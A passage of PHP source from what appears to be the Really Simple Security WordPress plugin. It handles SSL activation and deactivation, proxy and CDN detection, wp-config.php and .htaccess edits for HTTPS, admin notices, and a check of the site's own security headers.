		if ( ! empty( $open_basedir ) ) {
			return false;
		}
		return is_file( $htaccess_conf_file );
	}

	/**
	 * If the user has clicked "recheck certificate, clear the cache for the certificate check.
	 * Used in a form in the dashboard notices.
	 * @return void
	 */
	public function recheck_certificate() {
		if ( ! rsssl_user_can_manage() ) {
			return;
		}
		if ( isset( $_POST['rsssl_recheck_certificate'] ) ) {
			delete_transient( 'rsssl_certinfo' );
		}
	}

	/**
	 *  Activate the SSL for this site
	 */

    public function activate_ssl($data) {
        //skip activation if safe mode
	    if ( defined( 'RSSSL_SAFE_MODE' ) && RSSSL_SAFE_MODE ) {
            return [
                'success'          => true,
                'site_url_changed' => false,
            ];
        }

	    if ( !rsssl_user_can_manage()  ) {
		    return [
			    'success' => false,
			    'site_url_changed' => false,
		    ];
        }

		$safe_mode        = defined( 'RSSSL_SAFE_MODE' ) && RSSSL_SAFE_MODE;
		$error            = false;
		$is_rest_request  = isset( $data['is_rest_request'] );
		$site_url_changed = false;
		$wpcli            = defined( 'WP_CLI' ) && WP_CLI;

		if ( rsssl_get_option( 'site_has_ssl' ) || get_option( 'rsssl_ssl_detection_overridden' ) || $wpcli ) {
			//in a configuration reverse proxy without a set server variable https, add code to wpconfig
			if ( $this->do_wpconfig_loadbalancer_fix || $this->no_server_variable ) {
				$this->wpconfig_loadbalancer_fix();
			}

			if ( ! $safe_mode && $this->wpconfig_siteurl_not_fixed && ! $this->uses_bitnami() ) {
				$this->fix_siteurl_defines_in_wpconfig();
			}

			$this->insert_secure_cookie_settings();
			if ( ! $safe_mode ) {
				rsssl_update_option( 'redirect', 'wp_redirect' );
				rsssl_update_option( 'mixed_content_fixer', true );

				//flush caches when just activated ssl
				//flush the permalinks
				update_option( 'rsssl_activation_timestamp', time(), false );
				if ( ! defined( 'RSSSL_NO_FLUSH' ) || ! RSSSL_NO_FLUSH ) {
					update_option( 'rsssl_flush_rewrite_rules', time(), false );
				}
				update_option( 'rsssl_flush_caches', time(), false );
			}

			rsssl_update_option( 'ssl_enabled', true );
			$site_url_changed = $this->set_siteurl_to_ssl();
			delete_option( 'rsssl_admin_notices' );
		} else {
			$error = true;
		}

		//if this is true, this is a request from the network admin. We save an option to ensure we know that this part is completed
		if ( is_multisite() && rsssl_is_networkwide_active() ) {
			update_site_option( 'rsssl_network_activation_status', 'main_site_activated' );
		}

		if ( $is_rest_request ) {
			return [
				'success'          => ! $error,
				'site_url_changed' => $site_url_changed,
				'request_success'  => true,
			];
		}
		return ! $error;
	}

	/**
	 * Check if the wp config configuration is ok for SSL activation
	 *
	 * @return bool
	 */
	public function wpconfig_ok() {
		//return false;
		if ( ( $this->do_wpconfig_loadbalancer_fix || $this->no_server_variable || $this->wpconfig_siteurl_not_fixed ) && ! $this->wpconfig_is_writable()  && ! $this->uses_bitnami() ) {
			$result = false;
		} else {
			$result = true;
		}
		return apply_filters( 'rsssl_wpconfig_ok_check', $result );
	}

	/**
	 * @param string      $class
	 * @param string      $content
	 * @param string|bool $more_info
	 * @param string|bool $dismiss_id
	 *
	 * @return false|string
	 *
	 * @since 4.0
	 * Return the notice HTML
	 *
	 */

	public function notice_html( string $css_class, string $content, $more_info = false, $logo=false, $dismiss_id = false, $dashboard_button=false ) {
		if ( ! rsssl_user_can_manage() ) {
			return '';
		}

		$css_class       .= ' notice ';
		$is_internal_link = strpos( $more_info, 'really-simple-ssl.com' ) === false;
		$target           = ! $is_internal_link ? 'target="_blank"' : '';
		$url              = is_ssl() ? 'https://' : 'http://';
		$url             .= $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI'];
		$url              = wp_validate_redirect( $url, apply_filters( 'wp_safe_redirect_fallback', admin_url(), 302 ) );

		$url = esc_url_raw( $url );
		ob_start();?>
			<style>
				#rsssl-message {
					margin:10px 0;
					padding: 0;
					border-left-color: #333;
				}
				#rsssl-message.error{
					border-left-color:#d7263d;
				}
				#rsssl-message.warning{
					border-left-color:#ffb900;
				}
				.rsssl-notice {
					display:flex;
					margin:15px;
                    flex-direction: column;
				}
                .rsssl-notice-logo {
                    width: 225px;
                }
				.rsssl-notice-content {
					padding-top: 5px;
				}
				.rsssl-admin-notice-more-info {
                    margin-top: 10px;
				}
				.settings_page_really-simple-security #wpcontent #rsssl-message, .settings_page_really-simple-ssl #wpcontent #rsssl-message {
					margin: 20px;
				}
                #rsssl-dashboard-button {
                    margin-right: 5px;
                }
			</style>
			<?php if ( is_rtl() ) { ?>
				<style>
					#rsssl-message {
						border-right-color: #333;
					}
					#rsssl-message.error{
						border-right-color:#d7263d;
					}
				</style>
			<?php } ?>
		<div id="rsssl-message" class="<?php echo esc_attr( $css_class ); ?> really-simple-plugins">
			<div class="rsssl-notice">
                <?php if ( $logo ) { ?>
                    <div class="rsssl-notice-logo">
                        <img src="<?php echo esc_url( trailingslashit( rsssl_url ) . 'assets/img/really-simple-security-logo.svg' ); ?>" alt="Really Simple Security">
                    </div>
                <?php } ?>
				<div class="rsssl-notice-content">
                    <?php echo $content; ?>
				</div>
				<?php if ( $more_info || $dismiss_id ) { ?>
					<div class="rsssl-admin-notice-more-info">
						<?php if ( $dashboard_button ) { ?>
                            <a id="rsssl-dashboard-button" class="button button-primary" rel="noopener noreferrer" href="<?php echo add_query_arg(array('page' => 'really-simple-security', 'dismiss_notice' => $dismiss_id), rsssl_admin_url() ); ?>"><?php _e( 'View Dashboard', 'really-simple-ssl' ); ?></a>
						<?php } ?>
						<?php if ( $dismiss_id ) { ?>
							<a class="button" rel="noopener noreferrer" href="<?php echo add_query_arg( [ 'dismiss_notice' => $dismiss_id ], $url ); ?>"><?php _e( 'Dismiss', 'really-simple-ssl' ); ?></a>
						<?php } ?>
						<?php if ( $more_info ) { ?>
							<a class="button" <?php echo $target; ?> rel="noopener noreferrer" href="<?php echo esc_url_raw( $more_info ); ?>"><?php $is_internal_link ? _e( 'View', 'really-simple-ssl' ) : _e( 'More info', 'really-simple-ssl' ); ?></a>
						<?php } ?>
					</div>
				<?php } ?>
			</div>
		</div>
		<?php
		return ob_get_clean();
	}

	/**
	 * @return bool
	 *
	 * Check if wp-config.php is writeable
	 *
	 * @access public
	 */

	public function wpconfig_is_writable() {
		$wpconfig_path = $this->wpconfig_path();
		if ( empty( $wpconfig_path ) ) {
			return false;
		}

		if ( is_writable( $wpconfig_path ) ) {
			return true;
		}

		return false;
	}

	/**
	 * Check if the uninstall file is renamed to .php
	 *
	 * @return string
	 */

	public function check_for_uninstall_file() {
		if ( file_exists( __DIR__ . '/force-deactivate.php' ) ) {
			return 'fail';
		}
		return 'success';
	}

	/**
	 * Check to see if we are on the settings page, action hook independent
	 *
	 * @since  2.1
	 *
	 * @access public
	 *
	 */

	public function is_settings_page() {
		if ( rsssl_is_logged_in_rest() ) {
			return true;
		}

		if ( ! isset( $_SERVER['QUERY_STRING'] ) ) {
			return false;
		}

		if ( isset( $_GET['action'] ) && 'rsssl_rest_api_fallback' === $_GET['action'] ) {
			return true;
		}

		parse_str( $_SERVER['QUERY_STRING'], $params );
		return array_key_exists( 'page', $params ) && 'really-simple-security' === $params['page'];
	}

	/**
	 * remove https from defined siteurl and homeurl in the wpconfig, if present
	 *
	 * @since  2.1
	 *
	 * @access public
	 *
	 * @return void
	 */

	public function remove_ssl_from_siteurl_in_wpconfig() {
		if ( ! rsssl_user_can_manage() ) {
			return;
		}
		$wpconfig_path = $this->wpconfig_path();
		if ( ! empty( $wpconfig_path ) ) {
			$wpconfig    = file_get_contents( $wpconfig_path );
			$homeurl_pos = strpos( $wpconfig, "define('WP_HOME','https://" );
			$siteurl_pos = strpos( $wpconfig, "define('WP_SITEURL','https://" );

			if ( false !== $homeurl_pos || false !== $siteurl_pos ) {
				if ( is_writable( $wpconfig_path ) ) {
					$search_array = array( "define('WP_HOME','https://", "define('WP_SITEURL','https://" );
					$ssl_array    = array( "define('WP_HOME','http://", "define('WP_SITEURL','http://" );
					//now replace these urls
					$wpconfig = str_replace( $search_array, $ssl_array, $wpconfig );
					file_put_contents( $wpconfig_path, $wpconfig );
				}
			}
		}
	}


	/**
	 * Checks if the wp config contains any defined siteurl and homeurl
	 *
	 * @return void
	 */
	private function check_for_siteurl_in_wpconfig() {
		if ( ! rsssl_user_can_manage() ) {
			return;
		}

		$wpconfig_path = $this->wpconfig_path();
		if ( empty( $wpconfig_path ) ) {
			return;
		}

		$wpconfig        = file_get_contents( $wpconfig_path );
		$homeurl_pattern = '/(define\(\s*\'WP_HOME\'\s*,\s*\'http\:\/\/)/';
		$siteurl_pattern = '/(define\(\s*\'WP_SITEURL\'\s*,\s*\'http\:\/\/)/';

		$this->wpconfig_siteurl_not_fixed = false;
		if ( preg_match( $homeurl_pattern, $wpconfig ) || preg_match( $siteurl_pattern, $wpconfig ) ) {
			$this->wpconfig_siteurl_not_fixed = true;
		}
	}


	/**
	 * Runs only when siteurl or homeurl define was found in the wpconfig, with the check_for_siteurl_in_wpconfig function
	 * and only when wpconfig is writable.
	 *
	 * @since  2.1
	 *
	 * @access public
	 *
	 */

	private function fix_siteurl_defines_in_wpconfig() {
		if ( ! rsssl_user_can_manage() ) {
			return;
		}
		$wpconfig_path = $this->wpconfig_path();
		if ( empty( $wpconfig_path ) ) {
			return;
		}

		$wpconfig        = file_get_contents( $wpconfig_path );
		$homeurl_pattern = '/(define\(\s*\'WP_HOME\'\s*,\s*\'http\:\/\/)/';
		$siteurl_pattern = '/(define\(\s*\'WP_SITEURL\'\s*,\s*\'http\:\/\/)/';

		if ( preg_match( $homeurl_pattern, $wpconfig ) || preg_match( $siteurl_pattern, $wpconfig ) ) {
			if ( is_writable( $wpconfig_path ) ) {
				$wpconfig = preg_replace( $homeurl_pattern, "define('WP_HOME','https://", $wpconfig );
				$wpconfig = preg_replace( $siteurl_pattern, "define('WP_SITEURL','https://", $wpconfig );
				file_put_contents( $wpconfig_path, $wpconfig );
			} else {
				//only when siteurl or homeurl is defined in wpconfig, and wpconfig is not writable is there a possible issue because we cannot edit the defined urls.
				$this->wpconfig_siteurl_not_fixed = true;
			}
		}
	}


	/**
	 * Check if the wpconfig is already fixed
	 *
	 * @since  2.2
	 *
	 * @access public
	 *
	 */

	public function wpconfig_has_fixes() {
		$wpconfig_path = $this->wpconfig_path();
		if ( empty( $wpconfig_path ) ) {
			return false;
		}
		$wpconfig = file_get_contents( $wpconfig_path );

		//only one of two fixes possible.
		if ( strpos( $wpconfig, '//Begin Really Simple Security Load balancing fix' ) !== false ) {
			return true;
		}

		if ( strpos( $wpconfig, '//Begin Really Simple Security Server variable fix' ) !== false ) {
			return true;
		}

		return false;
	}


	/**
	 * In case of load balancer without server https on, add fix in wp-config
	 *
	 * @since  2.1
	 *
	 * @access public
	 *
	 */


	public function wpconfig_loadbalancer_fix() {
		if ( ! rsssl_user_can_manage() ) {
			return;
		}

		$wpconfig_path = $this->wpconfig_path();
		if ( empty( $wpconfig_path ) ) {
			return;
		}
		$wpconfig = file_get_contents( $wpconfig_path );
		if ( strpos( $wpconfig, '//Begin Really Simple Security Server variable fix' ) !== false ) {
			return;
		}

		if ( strpos( $wpconfig, '//Begin Really Simple Security Load balancing fix' ) !== false ) {
			return;
		}

		if ( is_writable( $wpconfig_path ) ) {
			$rule  = "\n" . '//Begin Really Simple Security Server variable fix' . "\n";
			$rule .= '$_SERVER["HTTPS"] = "on";' . "\n";
			$rule .= '//END Really Simple Security Server variable fix' . "\n";

			$insert_after = '<?php';
			$pos          = strpos( $wpconfig, $insert_after );
			if ( false !== $pos ) {
				$wpconfig = substr_replace( $wpconfig, $rule, $pos + 1 + strlen( $insert_after ), 0 );
			}

			file_put_contents( $wpconfig_path, $wpconfig );
		}
	}

	/**
	 * Removing changes made to the wpconfig
	 *
	 * @since  2.1
	 *
	 * @access public
	 *
	 */

	public function remove_wpconfig_edit() {
		if ( ! rsssl_user_can_manage() ) {
			return;
		}

		$wpconfig_path = $this->wpconfig_path();
		if ( empty( $wpconfig_path ) ) {
			return;
		}

		//check for permissions
		$wpconfig = file_get_contents( $wpconfig_path );
		if ( ! is_writable( $wpconfig_path ) ) {
			return;
		}

		//remove edits
		$wpconfig = preg_replace( '/\/\/Begin\s?Really\s?Simple\s?SSL\s?Server\s?variable\s?fix.*?\/\/END\s?Really\s?Simple\s?SSL\s?Server\s?variable\s?fix/s', '', $wpconfig );
		$wpconfig = preg_replace( "/\n+/", "\n", $wpconfig );
		file_put_contents( $wpconfig_path, $wpconfig );
	}

	/**
	 * Changes the siteurl and homeurl to https
	 *
	 * @since  2.0
	 *
	 * @access public
	 * @return bool
	 */

	public function set_siteurl_to_ssl() {
		$site_url_changed = false;
		$site_url         = get_option( 'siteurl' );
		$home_url         = get_option( 'home' );
		if ( strpos( $site_url, 'https://' ) === false || strpos( $home_url, 'https://' ) === false ) {
			update_option( 'siteurl', str_replace( 'http://', 'https://', $site_url ) );
			update_option( 'home', str_replace( 'http://', 'https://', $home_url ) );
			$site_url_changed = true;
		}

		//RSSSL has it's own, more extensive mixed content fixer.
		update_option( 'https_migration_required', false );
		return $site_url_changed;
	}

	/**
	 * On de-activation, siteurl and homeurl are reset to http
	 *
	 * @since  2.0
	 *
	 * @access public
	 *
	 */

	public function remove_ssl_from_siteurl() {
		if ( ! rsssl_user_can_manage() ) {
			return;
		}
		$siteurl_no_ssl = str_replace( 'https://', 'http://', get_option( 'siteurl' ) );
		$homeurl_no_ssl = str_replace( 'https://', 'http://', get_option( 'home' ) );
		update_option( 'siteurl', $siteurl_no_ssl );
		update_option( 'home', $homeurl_no_ssl );
	}

	/**
	 * Handles deactivation of this plugin
	 *
	 * @since  2.0
	 *
	 * @access public
	 *
	 */

	public function deactivate() {
		if ( ! rsssl_user_can_manage() ) {
			return;
		}

        if ( get_option('rsssl_free_deactivated') ) {
            // Deactivation call from upgrade to Pro. Do not disable features
            return;
        }

		if ( is_multisite() ) {
			RSSSL()->multisite->deactivate();
		} else {
			$ssl_was_enabled = rsssl_get_option( 'ssl_enabled' );
			$this->deactivate_site( $ssl_was_enabled );
		}
	}

	/**]
	 * Deactivate SSL for the currently loaded site
	 *
	 * @param bool $ssl_was_enabled
	 *
	 * @return void
	 */
	public function deactivate_site( bool $ssl_was_enabled ) {

		if ( ! rsssl_user_can_manage() ) {
			return;
		}

		$this->remove_secure_cookie_settings();
		if ( $ssl_was_enabled ) {
			$this->remove_ssl_from_siteurl();
			if ( ! is_multisite() || is_main_site() ) {
				$this->remove_ssl_from_siteurl_in_wpconfig();
				$this->remove_wpconfig_edit();
				rsssl_remove_htaccess_security_edits();
			}
		}

		do_action( 'rsssl_deactivate' );
		rsssl_update_option( 'ssl_enabled', false );
	}

	/**
	 * remove secure cookie settings
	 *
	 * @since  4.0.10
	 *
	 * @access public
	 *
	 */

	public function remove_secure_cookie_settings() {

		if ( ! rsssl_user_can_manage() ) {
			return;
		}

		if ( $this->secure_cookie_settings_status() !== 'set' ) {
			return;
		}

		$wpconfig_path = $this->wpconfig_path();
		if ( empty( $wpconfig_path ) ) {
			return;
		}

		if ( ! is_writable( $wpconfig_path ) ) {
			return;
		}

		if ( ! empty( $wpconfig_path ) ) {
			$wpconfig = file_get_contents( $wpconfig_path );
			$wpconfig = preg_replace( '/\/\/Begin\s?Really\s?Simple\s?SSL\s?session\s?cookie\s?settings.*?\/\/END\s?Really\s?Simple\s?SSL\s?cookie\s?settings/s', '', $wpconfig );
			$wpconfig = preg_replace( "/\n+/", "\n", $wpconfig );
			file_put_contents( $wpconfig_path, $wpconfig );
		}
	}


	/**
	 * Checks if we are currently on SSL protocol, but extends standard wp with loadbalancer check.
	 *
	 * @since  2.0
	 *
	 * @access public
	 *
	 */

	public function is_ssl_extended() {
		$server_var = false;
		if ( ( isset( $_ENV['HTTPS'] ) && ( 'on' === $_ENV['HTTPS'] ) )
			|| ( isset( $_SERVER['HTTP_X_FORWARDED_SSL'] ) && ( strpos( $_SERVER['HTTP_X_FORWARDED_SSL'], '1' ) !== false ) )
			|| ( isset( $_SERVER['HTTP_X_FORWARDED_SSL'] ) && ( strpos( $_SERVER['HTTP_X_FORWARDED_SSL'], 'on' ) !== false ) )
			|| ( isset( $_SERVER['HTTP_CF_VISITOR'] ) && ( strpos( $_SERVER['HTTP_CF_VISITOR'], 'https' ) !== false ) )
			|| ( isset( $_SERVER['HTTP_CLOUDFRONT_FORWARDED_PROTO'] ) && ( strpos( $_SERVER['HTTP_CLOUDFRONT_FORWARDED_PROTO'], 'https' ) !== false ) )
			|| ( isset( $_SERVER['HTTP_X_FORWARDED_PROTO'] ) && ( strpos( $_SERVER['HTTP_X_FORWARDED_PROTO'], 'https' ) !== false ) )
			|| ( isset( $_SERVER['HTTP_X_PROTO'] ) && ( strpos( $_SERVER['HTTP_X_PROTO'], 'SSL' ) !== false ) )
		) {
			$server_var = true;
		}

		return is_ssl() || $server_var;
	}

	/**
	 * Checks for SSL by opening a test page in the plugin directory
	 *
	 * @since  2.0
	 *
	 * @access public
	 *
	 */

	public function detect_configuration() {
		$this->configuration_loaded = true;
		//if current page is on SSL, we can assume SSL is available, even when an errormsg was returned
		if ( $this->is_ssl_extended() ) {
			$site_has_ssl = true;
		} else {
			//if certificate is valid
			$site_has_ssl = RSSSL()->certificate->is_valid();
		}

		if ( $site_has_ssl ) {
			$filecontents = $this->get_test_page_contents();
			//get filecontents to check .htaccess redirection method and wpconfig fix
			//check the type of SSL, either by parsing the returned string, or by reading the server vars.
			if ( ( false !== strpos( $filecontents, '#CLOUDFRONT#' ) ) || ( isset( $_SERVER['HTTP_CLOUDFRONT_FORWARDED_PROTO'] ) && ( 'https' === $_SERVER['HTTP_CLOUDFRONT_FORWARDED_PROTO'] ) ) ) {
				$this->ssl_type = 'CLOUDFRONT';
			} elseif ( ( false !== strpos( $filecontents, '#CLOUDFLARE#' ) ) || ( isset( $_SERVER['HTTP_CF_VISITOR'] ) && ( false !== strpos( $_SERVER['HTTP_CF_VISITOR'], 'https' ) ) ) ) {
				$this->ssl_type = 'CLOUDFLARE';
			} elseif ( ( false !== strpos( $filecontents, '#LOADBALANCER#' ) ) || ( isset( $_SERVER['HTTP_X_FORWARDED_PROTO'] ) && ( 'https' === $_SERVER['HTTP_X_FORWARDED_PROTO'] ) ) ) {
				$this->ssl_type = 'LOADBALANCER';
			} elseif ( ( false !== strpos( $filecontents, '#HTTP_X_PROTO#' ) ) || ( isset( $_SERVER['HTTP_X_PROTO'] ) && ( 'SSL' === $_SERVER['HTTP_X_PROTO'] ) ) ) {
				$this->ssl_type = 'HTTP_X_PROTO';
			} elseif ( ( false !== strpos( $filecontents, '#HTTP_X_FORWARDED_SSL_ON#' ) ) || ( isset( $_SERVER['HTTP_X_FORWARDED_SSL'] ) && 'on' === $_SERVER['HTTP_X_FORWARDED_SSL'] ) ) {
				$this->ssl_type = 'HTTP_X_FORWARDED_SSL_ON';
			} elseif ( ( false !== strpos( $filecontents, '#HTTP_X_FORWARDED_SSL_1#' ) ) || ( isset( $_SERVER['HTTP_X_FORWARDED_SSL'] ) && '1' === $_SERVER['HTTP_X_FORWARDED_SSL'] ) ) {
				$this->ssl_type = 'HTTP_X_FORWARDED_SSL_1';
			} elseif ( ( false !== strpos( $filecontents, '#SERVER-HTTPS-ON#' ) ) || ( isset( $_SERVER['HTTPS'] ) && 'on' === strtolower( $_SERVER['HTTPS'] ) ) ) {
				$this->ssl_type = 'SERVER-HTTPS-ON';
			} elseif ( ( false !== strpos( $filecontents, '#SERVER-HTTPS-1#' ) ) || ( isset( $_SERVER['HTTPS'] ) && '1' === strtolower( $_SERVER['HTTPS'] ) ) ) {
				$this->ssl_type = 'SERVER-HTTPS-1';
			} elseif ( ( false !== strpos( $filecontents, '#SERVERPORT443#' ) ) || ( isset( $_SERVER['SERVER_PORT'] ) && ( '443' === $_SERVER['SERVER_PORT'] ) ) ) {
				$this->ssl_type = 'SERVERPORT443';
			} elseif ( ( false !== strpos( $filecontents, '#ENVHTTPS#' ) ) || ( isset( $_ENV['HTTPS'] ) && ( 'on' === $_ENV['HTTPS'] ) ) ) {
				$this->ssl_type = 'ENVHTTPS';
			} elseif ( ( false !== strpos( $filecontents, '#NO KNOWN SSL CONFIGURATION DETECTED#' ) ) ) {
				//if we are here, SSL was detected, but without any known server variables set.
				//So we can use this info to set a server variable ourselves.
				if ( ! $this->wpconfig_has_fixes() ) {
					$this->no_server_variable = true;
				}
				$this->ssl_type = 'NA';
			} else {
				//no valid response, so set to NA
				$this->ssl_type = 'NA';
			}

			//check for is_ssl()
			if ( ( ! $this->is_ssl_extended() &&
					( strpos( $filecontents, '#SERVER-HTTPS-ON#' ) === false ) &&
					( strpos( $filecontents, '#SERVER-HTTPS-1#' ) === false ) &&
					( strpos( $filecontents, '#SERVERPORT443#' ) === false )
				) ||
				( ! is_ssl() && $this->is_ssl_extended() ) ) {
				//when is_ssl would return false, we should add some code to wp-config.php
				if ( ! $this->wpconfig_has_fixes() ) {
					$this->do_wpconfig_loadbalancer_fix = true;
				}
			}
		}
		$this->check_for_siteurl_in_wpconfig();
        //check againt current status, to prevent unnecessary loading of fields array during update_option
        $current_ssl_status = rsssl_get_option( 'site_has_ssl' );
        if ( (bool) $current_ssl_status !== (bool) $site_has_ssl ) {
	        rsssl_update_option( 'site_has_ssl', $site_has_ssl );
        }

	}

	/**
	 * Test if the htaccess redirect will work
	 * This way, no redirect loops should occur.
	 *
	 * @since  2.1
	 *
	 * @access public
	 *
	 */

	public function htaccess_test_success() {
		$test = get_transient( 'rsssl_htaccess_test_success' );
		if ( ! $test ) {
			$filecontents = '';
			$testpage_url = trailingslashit( $this->test_url() ) . 'testssl/';
			switch ( $this->ssl_type ) {
				case 'CLOUDFRONT':
					$testpage_url .= 'cloudfront';
					break;
				case 'CLOUDFLARE':
					$testpage_url .= 'cloudflare';
					break;
				case 'LOADBALANCER':
					$testpage_url .= 'loadbalancer';
					break;
				case 'HTTP_X_PROTO':
					$testpage_url .= 'serverhttpxproto';
					break;
				case 'HTTP_X_FORWARDED_SSL_ON':
					$testpage_url .= 'serverhttpxforwardedsslon';
					break;
				case 'HTTP_X_FORWARDED_SSL_1':
					$testpage_url .= 'serverhttpxforwardedssl1';
					break;
				case 'SERVER-HTTPS-ON':
					$testpage_url .= 'serverhttpson';
					break;
				case 'SERVER-HTTPS-1':
					$testpage_url .= 'serverhttps1';
					break;
				case 'SERVERPORT443':
					$testpage_url .= 'serverport443';
					break;
				case 'ENVHTTPS':
					$testpage_url .= 'envhttps';
					break;
				default:
					$testpage_url .= 'serverhttpson';
			}

			$testpage_url .= ( '/ssl-test-page.html' );
			$response      = wp_remote_get( $testpage_url );
			if ( is_array( $response ) ) {
				$filecontents = wp_remote_retrieve_body( $response );
			}

			if ( ! is_wp_error( $response ) && ( strpos( $filecontents, '#SSL TEST PAGE#' ) !== false ) ) {
				$test = 'success';
			} else {
				//.htaccess rewrite rule seems to be giving problems.
				$test = 'error';
			}
			if ( empty( $filecontents ) ) {
				$test = 'no-response';
			}
			set_transient( 'rsssl_htaccess_test_success', $test, 600 );
		}

		if ( 'no-response' === $test || 'error' === $test ) {
			return false;
		}

		if ( 'success' === $test ) {
			return true;
		}
	}


	/**
	 * Get an url with which we can test the SSL connection and htaccess redirect rules.
	 *
	 * @since  2.0
	 *
	 * @access public
	 *
	 */

	public function test_url() {
		$plugin_url     = str_replace( 'http://', 'https://', trailingslashit( rsssl_url ) );
		$https_home_url = str_replace( 'http://', 'https://', home_url() );

		//in some case we get a relative url here, so we check that.
		//we compare to urls replaced to https, in case one of them is still on http.
		if ( ( strpos( $plugin_url, 'https://' ) === false ) &&
			( strpos( $plugin_url, $https_home_url ) === false )
		) {
			//make sure we do not have a slash at the start
			$plugin_url = ltrim( $plugin_url, '/' );
			$plugin_url = trailingslashit( home_url() ) . $plugin_url;
		}

		//for subdomains or domain mapping situations, we have to convert the plugin_url from main site to the subdomain url.
		if ( is_multisite() && ! is_main_site( get_current_blog_id() ) && ! RSSSL()->multisite->is_multisite_subfolder_install() ) {
			$mainsiteurl = trailingslashit( str_replace( 'http://', 'https://', network_site_url() ) );
			$home        = trailingslashit( $https_home_url );
			$plugin_url  = str_replace( $mainsiteurl, $home, $plugin_url );
		}

		return $plugin_url;
	}

	/**
	 * @return bool
	 *
	 * Check if the .htaccess redirect is allowed on this setup
	 *
	 * @since 2.0
	 *
	 */

	public function htaccess_redirect_allowed() {
		if ( is_multisite() && ! $this->can_apply_networkwide() ) {
			return false;
		} if ( RSSSL()->server->uses_htaccess() ) {
			return true;
		}

		return false;
	}

	/**
	 * @return bool
	 *
	 * Checks if the htaccess contains redirect rules, either actual redirect or a rsssl marker.
	 *
	 * @since 2.0
	 *
	 */

	public function htaccess_contains_redirect_rules() {
		if ( ! file_exists( $this->htaccess_file() ) ) {
			return false;
		}

		$pattern  = '/RewriteRule \^\(\.\*\)\$ https:\/\/%{HTTP_HOST}(\/\$1|%{REQUEST_URI}) (\[R=301,.*L\]|\[L,.*R=301\])/i';
		$htaccess = file_get_contents( $this->htaccess_file() );
		return preg_match( $pattern, $htaccess );
	}

	/**
	 * @return bool
	 *
	 * Checks if a 301 redirect is set
	 * this is the case if either the wp_redirect is set, or the htaccess redirect is set.
	 *
	 */

	public function has_301_redirect() {
		if ( 'htaccess' === rsssl_get_option( 'redirect' ) || 'wp_redirect' === rsssl_get_option( 'redirect' ) ) {
			return true;
		}

		if ( RSSSL()->server->uses_htaccess() && $this->htaccess_contains_redirect_rules() ) {
			return true;
		}

		return false;
	}

	/**
	 * returns list of recommended, but not active security headers for this site
	 * returns empty array if no .htacces file exists
	 * Uses cURL, fallback to .htaccess check upon cURL failure
	 * @return array
	 *
	 * @since  4.0
	 *
	 * @access public
	 *
	 */

	public function get_recommended_security_headers() {

		$used_headers     = array();
		$not_used_headers = array();
		$check_headers    = apply_filters(
			'rsssl_recommended_security_headers',
			array(
				array(
					'name'    => 'Upgrade Insecure Requests',
					'pattern' => 'upgrade-insecure-requests',
				),
				array(
					'name'    => 'X-XSS protection',
					'pattern' => 'X-XSS-Protection',
				),
				array(
					'name'    => 'X-Content Type Options',
					'pattern' => 'X-Content-Type-Options',
				),
				array(
					'name'    => 'Referrer-Policy',
					'pattern' => 'Referrer-Policy',
				),
				array(
					'name'    => 'Permissions-Policy',
					'pattern' => 'Permissions-Policy',
				),
				array(
					'name'    => 'HTTP Strict Transport Security',
					'pattern' => 'Strict-Transport-Security',
				),
			)
		);

		// cURL check.
		$curl_check_done = get_transient( 'rsssl_can_use_curl_headers_check' );//no, yes or false
		if ( ! $curl_check_done ) {
			//set a default
			set_transient( 'rsssl_can_use_curl_headers_check', 'no', WEEK_IN_SECONDS );
			if ( function_exists( 'curl_init' ) ) {
				$url     = get_site_url();
				$ch      = curl_init();
				$headers = [];
				curl_setopt( $ch, CURLOPT_URL, $url );
				curl_setopt( $ch, CURLOPT_RETURNTRANSFER, 1 );
				curl_setopt( $ch, CURLOPT_TIMEOUT, 3 ); //timeout in seconds
				curl_setopt(
					$ch,
					CURLOPT_HEADERFUNCTION,
					function ( $curl, $header ) use ( &$headers ) {
						$len    = strlen( $header );
						$header = explode( ':', $header, 2 );
						if ( count( $header ) < 2 ) {
							return $len;
						}

						$headers[ strtolower( trim( $header[0] ) ) ][] = trim( $header[1] );

						return $len;
					}
				);

				curl_exec( $ch );
				// Check if any headers have been found
				if ( ! empty( $headers ) && is_array( $headers ) ) {

					// Loop through each header and check if it's one of the recommended security headers. If so, add to used_headers array.
					foreach ( $headers as $name => $value ) {
						foreach ( $check_headers as $check_header ) {
							// If the pattern occurs in either the header name or value, it's a security header.
							if ( stripos( $name, $check_header['pattern'] ) !== false || stripos( $value[0], $check_header['pattern'] ) !== false ) {
								// Prevent duplicate entries
								if ( ! in_array( $check_header['name'], $used_headers, true ) ) {
									$used_headers[] = $check_header['name'];
								}
							}
						}
					}

					// Now check which headers are unused. Compare the used headers against the $check_headers array.
					foreach ( $check_headers as $header ) {
						if ( in_array( $header['name'], $used_headers, true ) ) {
							// Header is used, do not add to unused array
							continue;
						} else {
							// Header is not used. Add to not used array
							$not_used_headers[] = $header['name'];
						}
					}
					$curl_check_done = $not_used_headers;
				} else {
					$curl_check_done = 'no';
				}
			} else {
				$curl_check_done = 'no';
			}
			set_transient( 'rsssl_can_use_curl_headers_check', $curl_check_done, WEEK_IN_SECONDS );
		}

		if ( 'no' === $curl_check_done ) {
			if ( RSSSL()->server->uses_htaccess() && file_exists( $this->htaccess_file() ) ) {
				$htaccess = file_get_contents( $this->htaccess_file() );
				foreach ( $check_headers as $check_header ) {
					if ( ! preg_match( '/' . $check_header['pattern'] . '/', $htaccess, $check ) ) {
						$not_used_headers[] = $check_header['name'];
					}
				}
			}
		} else {
			$not_used_headers = $curl_check_done;
		}

		return $not_used_headers;
	}

	/**
	 * Check if the recommended headers are enabled
	 *
	 * @return bool
	 */

	public function recommended_headers_enabled() {

		$unused_headers = $this->get_recommended_security_headers();
		if ( empty( $unused_headers ) ) {
			return true;
		}
		return false;
	}

	/**
	 * Regenerate the wp rocket .htaccess rules
	 */

	public function maybe_flush_wprocket_htaccess( $field_id, $field_value, $prev_value, $field_type ) {
		if ( 'redirect' === $field_id && $field_value !== $prev_value && rsssl_user_can_manage() ) {
			if ( function_exists( 'flush_rocket_htaccess' ) ) {
				flush_rocket_htaccess();
			}

			if ( function_exists( 'rocket_generate_config_file' ) ) {
				rocket_generate_config_file();
			}
		}
	}

	/**
	 * Return .htaccess redirect when using WP Rocket
	 * @return string
	 */
	public function add_htaccess_redirect_before_wp_rocket() {
		$rules = $this->get_redirect_rules();
		if ( ! empty( $rules ) ) {
			$start = "\n" . '#Begin Really Simple Security Redirect';
			$end   = "\n" . '#End Really Simple Security Redirect' . "\n";
			$rules = $start . $rules . $end;
